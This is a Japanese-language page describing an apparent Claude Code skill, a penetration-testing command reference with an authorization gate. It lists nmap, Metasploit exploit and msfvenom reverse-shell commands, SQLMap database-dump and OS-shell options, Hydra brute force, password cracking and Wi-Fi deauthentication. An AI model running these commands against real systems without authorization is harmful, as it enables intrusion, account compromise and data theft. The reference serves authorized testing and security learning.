pentest-commands について
許可を得たペネトレーションテスターやセキュリティ学習者向けのコマンドリファレンスです。ネットワーク・Web評価、エクスプロイト、認証情報テストを扱い、対象への操作には確認手順を設け、範囲内の管理されたテストを重視します。
主な機能
- 01Nmapによるネットワーク列挙コマンド
- 02Metasploitのエクスプロイトとスキャナー例
- 03NiktoとSQLMapによるWebテスト
- 04認証情報テストのコマンド例
- 05トラフィックの取得と分析コマンド
- 06許可とスコープの安全要件
活用シーン
- 01許可済み評価中のコマンド確認
- 02管理されたラボでのセキュリティテスト練習
- 03ネットワークとWebの露出状況確認
- 04範囲を限定した防御検証の計画
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ sickn33/ agentic-awesome-skills --skill pentest-commandsインストール後、Claude Code で/pentest-commandsを入力して読み込まれたか確認します。
詳細
⚠️ 使用は許可された場合に限ります このスキルは、教育目的または許可されたセキュリティ評価のみに使用してください。 このツールを使用する前に、システム所有者から明示的な書面による許可を得てください。 このツールの不正使用は違法であり、固く禁じられています。
必須の確認ゲート 対象の調査、悪用、変更、永続化、データの抽出、または認証情報へのアクセスを試みるコマンドを実行する前に、必ず次の手順を実施してください。
- ユーザーに、対象の正確な URL、IP アドレス、アカウント、またはリソースを提示するよう求めます。
- 書面による許可と許可された範囲を確認するよう、ユーザーに求めます。
- 実行するコマンドを正確に示し、想定される影響を説明します。
- 現在の会話内で明示的な確認が得られるまで待ちます。
その確認が得られない場合は、読み取り専用にとどめ、防御的なガイダンスのみを提供してください。サンドボックス、使い捨ての VM、または管理されたラボ環境を優先してください。
使用は許可された場合に限ります。このスキルは、許可されたセキュリティ評価、防御的な検証、または管理された教育環境でのみ使用してください。
ペンテストコマンド
目的
ネットワークスキャン、エクスプロイト、パスワードクラッキング、Web アプリケーションテストなど、ペネトレーションテストツールの包括的なコマンドリファレンスを提供します。セキュリティ評価中にコマンドをすばやく参照できるようにします。
入力/前提条件
- Kali Linux またはペネトレーションテスト用ディストリビューション
- 使用許可を得た対象の IP アドレス
- ブルートフォース用ワードリスト
- 対象システムへのネットワークアクセス
- ツールの構文に関する基本的な理解
出力/成果物
- ネットワーク列挙の結果
- 特定された脆弱性
- エクスプロイトペイロード
- クラックされた認証情報
- Web の脆弱性に関する検出結果
主なワークフロー
1. Nmap コマンド
ホスト検出:
# Ping sweep
nmap -sP 192.168.1.0/24
# List IPs without scanning
nmap -sL 192.168.1.0/24
# Ping scan (host discovery)
nmap -sn 192.168.1.0/24
ポートスキャン:
# TCP SYN scan (detectable; not a guarantee of stealth)
nmap -sS 192.168.1.1
# Full TCP connect scan
nmap -sT 192.168.1.1
# UDP scan
nmap -sU 192.168.1.1
# All ports (1-65535)
nmap -p- 192.168.1.1
# Specific ports
nmap -p 22,80,443 192.168.1.1
サービス検出:
# Service versions
nmap -sV 192.168.1.1
# OS detection
nmap -O 192.168.1.1
# Comprehensive scan
nmap -A 192.168.1.1
# Skip host discovery
nmap -Pn 192.168.1.1
NSE スクリプト:
# Vulnerability scan
nmap --script vuln 192.168.1.1
# SMB enumeration
nmap --script smb-enum-shares -p 445 192.168.1.1
# HTTP enumeration
nmap --script http-enum -p 80 192.168.1.1
# Check EternalBlue
nmap --script smb-vuln-ms17-010 192.168.1.1
# Check MS08-067
nmap --script smb-vuln-ms08-067 192.168.1.1
# SSH brute force
nmap --script ssh-brute -p 22 192.168.1.1
# FTP anonymous
nmap --script ftp-anon 192.168.1.1
# DNS brute force
nmap --script dns-brute 192.168.1.1
# HTTP methods
nmap -p80 --script http-methods 192.168.1.1
# HTTP headers
nmap -p80 --script http-headers 192.168.1.1
# SQL injection check
nmap --script http-sql-injection -p 80 192.168.1.1
高度なスキャン:
# Xmas scan
nmap -sX 192.168.1.1
# ACK scan (firewall detection)
nmap -sA 192.168.1.1
# Window scan
nmap -sW 192.168.1.1
# Traceroute
nmap --traceroute 192.168.1.1
2. Metasploit コマンド
基本的な使い方:
# Launch Metasploit
msfconsole
# Search for exploits
search type:exploit name:smb
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
# Show options
show options
# Set target
set RHOST 192.168.1.1
# Set payload
set PAYLOAD windows/meterpreter/reverse_tcp
# Run exploit
exploit
一般的なエクスプロイト:
# EternalBlue
msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
# MS08-067 (Conficker)
msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
# vsftpd backdoor
msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
# Shellshock
msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
# Drupalgeddon2
msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
# PSExec
msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
スキャナー:
# TCP port scan
msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
# SMB version scan
msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
# SMB share enumeration
msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
# SSH brute force
msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# FTP brute force
msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
# RDP scanning
msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
ハンドラーの設定:
# Multi-handler for reverse shells
msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
ペイロードの生成(msfvenom):
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
# Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
# PHP reverse shell
msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
# ASP reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
# WAR file
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
# Python payload
msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
3. Nikto コマンド
# Basic scan
nikto -h http://192.168.1.1
# Comprehensive scan
nikto -h http://192.168.1.1 -C all
# Output to file
nikto -h http://192.168.1.1 -output report.html
# Plugin-based scans
nikto -h http://192.168.1.1 -Plugins robots
nikto -h http://192.168.1.1 -Plugins shellshock
nikto -h http://192.168.1.1 -Plugins heartbleed
nikto -h http://192.168.1.1 -Plugins ssl
# Export to Metasploit
nikto -h http://192.168.1.1 -Format msf+
# Specific tuning
nikto -h http://192.168.1.1 -Tuning 1 # Interesting files only
4. SQLMap コマンド
# Basic injection test
sqlmap -u "http://192.168.1.1/page?id=1"
# Enumerate databases
sqlmap -u "http://192.168.1.1/page?id=1" --dbs
# Enumerate tables
sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
# Dump table
sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
# OS shell
sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
# POST request
sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
# Cookie injection
sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
# Bypass WAF
sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
# Risk and level
sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
5. Hydra コマンド
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
# FTP brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
# HTTP POST form
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
# HTTP Basic Auth
hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
# SMB brute force
hydra -l admin -P passwords.txt smb://192.168.1.1
# RDP brute force
hydra -l admin -P passwords.txt rdp://192.168.1.1
# MySQL brute force
hydra -l root -P passwords.txt mysql://192.168.1.1
# Username list
hydra -L users.txt -P passwords.txt ssh://192.168.1.1
6. John the Ripper コマンド
# Crack password file
john hash.txt
# Specify wordlist
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# Show cracked passwords
john hash.txt --show
# Specify format
john hash.txt --format=raw-md5
john hash.txt --format=nt
john hash.txt --format=sha512crypt
# SSH key passphrase
ssh2john id_rsa > ssh_hash.txt
john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
# ZIP password
zip2john file.zip > zip_hash.txt
john zip_hash.txt
7. Aircrack-ng コマンド
# Monitor mode
airmon-ng start wlan0
# Capture packets
airodump-ng wlan0mon
# Target specific network
airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
# Deauth attack
aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack WPA handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
8. Wireshark/Tshark コマンド
# Capture traffic
tshark -i eth0 -w capture.pcap
# Read capture file
tshark -r capture.pcap
# Filter by protocol
tshark -r capture.pcap -Y "http"
# Filter by IP
tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
# Extract HTTP data
tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
クイックリファレンス
一般的なポートスキャン
# Quick scan
nmap -F 192.168.1.1
# Full comprehensive
nmap -sV -sC -A -p- 192.168.1.1
# Fast with version
nmap -sV -T4 192.168.1.1
Hashcat の数値モード(John の形式名ではありません)
| モード | 種類 |
|---|---|
| 0 | MD5 |
| 100 | SHA1 |
| 1000 | NTLM |
| 1800 | sha512crypt |
| 3200 | bcrypt |
| 13100 | Kerberoast |
評価の制限事項
影響を確認したうえで、個々の NSE スクリプトを選択してください。vuln カテゴリには、侵入的なチェックが含まれる場合があります。データベースのダンプ、OS シェル、認証情報の試行、無線通信の認証解除には、それぞれ個別に承認された範囲と停止条件が必要です。最小限の合成データによる実証で十分な場合は、実際のユーザーレコードの収集を避けてください。試行回数とトラフィックを制限し、認証情報やキャプチャファイルを保護し、ペイロードを生成する前にクリーンアップの方法を定めてください。スキャンで検出されなかったからといって、対象が安全である証明にはなりません。
制約事項
- 常に書面による許可を得てください
- スキャンによっては、ノイズが大きく検知されやすいものがあります
- ブルートフォースにより、アカウントがロックされる場合があります
- レート制限はツールの動作に影響します
例
例 1:脆弱性のクイックスキャン
nmap -sV --script vuln 192.168.1.1
例 2:Web アプリのテスト
nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
トラブルシューティング
| 問題 | 解決策 |
|---|---|
| スキャンが遅すぎる | 承認済みのレートとテスト時間帯を確認してください。その範囲内でのみタイミングを調整してください |
| ポートがフィルタリングされている | 別のスキャン方式を試してください |
| エクスプロイトが失敗する | 対象バージョンとの互換性を確認してください |
| パスワードをクラックできない | より大きなワードリストやルールを試してください |
使用するタイミング
このスキルは、概要に記載されたワークフローやアクションを実行する際に使用できます。